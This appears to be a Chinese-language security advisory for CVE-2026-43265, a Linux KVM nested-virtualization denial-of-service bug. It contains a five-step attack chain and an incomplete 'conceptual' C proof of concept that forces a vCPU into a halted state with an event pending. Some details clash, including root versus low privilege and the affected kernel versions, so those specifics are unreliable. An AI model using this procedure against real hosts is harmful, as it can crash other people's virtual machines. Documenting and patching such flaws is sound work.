IPBUF安全漏洞报告
English
CVE-2026-43265 CVSS 5.5 中危

CVE-2026-43265 Linux内核KVM拒绝服务漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43265
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelKVM拒绝服务CVE-2026-43265虚拟化安全本地漏洞

漏洞概述

Linux内核的KVM(基于内核的虚拟机)x86模块中存在一个安全漏洞,该漏洞源于在vCPU退出阻塞状态并检查嵌套事件时的逻辑错误。当L2(嵌套虚拟机)处于活动状态时,如果检查嵌套事件返回-EBUSY错误,系统未正确忽略该错误,导致产生虚假的用户空间退出(通常为KVM_EXIT_UNKNOWN),进而可能引起虚拟机崩溃。该漏洞的根源在于用户空间可以通过操纵MP状态和注入事件,将vCPU置于一种理论上不可能的“带事件的阻塞状态”。尽管这属于逻辑缺陷,但低权限的本地攻击者利用此漏洞可导致虚拟机可用性受损。

技术细节

该漏洞发生在Linux内核KVM x86架构的`vcpu_block()`相关路径中。在正常的KVM架构设计中,vCPU不应在已经有注入事件(如异常、IRQ或NMI)的情况下进入阻塞状态。然而,用户空间(如VMM)可以通过ioctl调用(如KVM_SET_MP_STATE和KVM_INTERRUPT)人为地修改vCPU状态,使其违反这一约束,进入非法状态。当vCPU在L2模式下运行并处于这种非法状态被唤醒时,KVM在检查嵌套事件时会检测到冲突并返回-EBUSY。旧版本的代码未针对此特定场景忽略该错误码,导致KVM向用户空间产生KVM_EXIT_UNKNOWN退出,这通常会被视为致命错误,导致虚拟机进程终止。修复方案是在检查嵌套事件时显式忽略-EBUSY,允许虚拟机继续运行,从而避免因用户空间的恶意或错误操作导致虚拟机崩溃。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标主机上拥有本地低权限用户账号,并具备访问/dev/kvm设备的权限。
STEP 2
步骤2:设置恶意虚拟机环境
攻击者创建一个虚拟机,并配置启用嵌套虚拟化(L2),准备进入L2运行模式。
STEP 3
步骤3:构造非法vCPU状态
攻击者利用ioctl系统调用,在vCPU处于L2模式时,先注入中断或事件,随后强制将vCPU的MP状态设置为HALTED(阻塞)。
STEP 4
步骤4:触发漏洞检查路径
执行KVM_RUN指令。当vCPU尝试从阻塞状态唤醒并检查嵌套事件时,触发-EBUSY错误。
STEP 5
步骤5:导致拒绝服务
未修复的内核无法正确处理此错误,导致产生未知的用户空间退出,进而导致虚拟机崩溃或终止。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual Proof of Concept for CVE-2026-43265 * This PoC demonstrates how a userspace VMM might trigger the * impossible state (blocking with injected event) in KVM. * Requires root access and KVM enabled. */ #include <linux/kvm.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> int main() { int kvm_fd, vm_fd, vcpu_fd; struct kvm_mp_state mp_state; struct kvm_interrupt irq; // 1. Open KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return -1; } // 2. Create VM and VCPU vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); // (Simplification: Setup real mode and nested virtualization L2 here) // Assume setup code enables nested virtualization (L2) and runs L2. // 3. Inject an event (e.g., IRQ) while L2 is active irq.irq = 1; if (ioctl(vcpu_fd, KVM_INTERRUPT, &irq) < 0) { perror("KVM_INTERRUPT"); } // 4. Force vCPU into HALTED state (MP_STATE_HALTED) with event pending // This creates the "impossible state" mentioned in the CVE description. mp_state.mp_state = KVM_MP_STATE_HALTED; if (ioctl(vcpu_fd, KVM_SET_MP_STATE, &mp_state) < 0) { perror("KVM_SET_MP_STATE"); } // 5. Run VCPU // On systems vulnerable to CVE-2026-43265, exiting the block might // generate a spurious exit or crash the VM. while (1) { if (ioctl(vcpu_fd, KVM_RUN, NULL) < 0) { perror("KVM_RUN - VM likely crashed or exited unexpectedly"); break; } } close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }

影响范围

Linux Kernel < 6.1.83 (Specific patches apply)
Linux Kernel < 6.6.23
Linux Kernel < 6.7.11
Linux Kernel < 6.8.2

防御指南

临时缓解措施
由于该漏洞需要本地访问权限且主要影响虚拟机的可用性,最有效的缓解措施是严格限制对KVM接口的访问,确保只有受信任的管理程序可以操作虚拟机状态。此外,及时应用官方发布的内核补丁是根本的解决方法。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表